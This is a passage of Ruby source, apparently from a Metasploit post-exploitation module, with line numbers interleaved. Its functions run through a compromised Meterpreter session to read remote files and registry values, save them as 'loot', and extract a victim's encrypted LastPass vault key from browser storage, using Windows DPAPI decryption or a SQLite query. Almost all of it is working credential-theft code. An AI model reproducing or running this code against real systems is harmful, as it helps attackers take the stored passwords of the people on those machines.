return nil if data.nil?
770
771
loot_path = store_loot(
772
title,
773
type,
774
session,
775
data,
776
nil,
777
description
778
)
779
loot_path
780
end
781
782
# Reads a remote file and returns the data
783
def read_remote_file(path)
784
data = nil
785
786
begin
787
data = read_file(path)
788
rescue EOFError
789
vprint_error "Error reading file #{path} It could be empty"
790
end
791
data
792
end
793
794
def read_registry_key_value(key, value)
795
begin
796
root_key, base_key = session.sys.registry.splitkey(key)
797
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
798
return nil unless reg_key
799
800
reg_value = reg_key.query_value(value)
801
return nil unless reg_value
802
rescue Rex::Post::Meterpreter::RequestError => e
803
vprint_error("#{e.message} (#{key}\\#{value})")
804
end
805
reg_key.close if reg_key
806
return reg_value.blank? ? nil : reg_value.data
807
end
808
809
def extract_local_encrypted_vault_key(browser, username, lp_data)
810
if browser.match(/Firefox|IE/)
811
encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lpall.slps'
812
encrypted_vault_key = read_remote_file(encrypted_key_path)
813
encrypted_vault_key = windows_unprotect(encrypted_vault_key) if !encrypted_vault_key.nil? && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
814
else
815
db = SQLite3::Database.new(lp_data['lp_db_loot'])
816
result = db.execute(
817
'SELECT data FROM LastPassData ' \
818
"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
819
)
820
encrypted_vault_key = result[0][0]
821
end
822
823
return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
824
end
825
826
# Returns OS separator in a session type agnostic way
827
def system_separator
828
return session.platform == 'windows' ? '\\' : '/'
829
end
830
end
831
832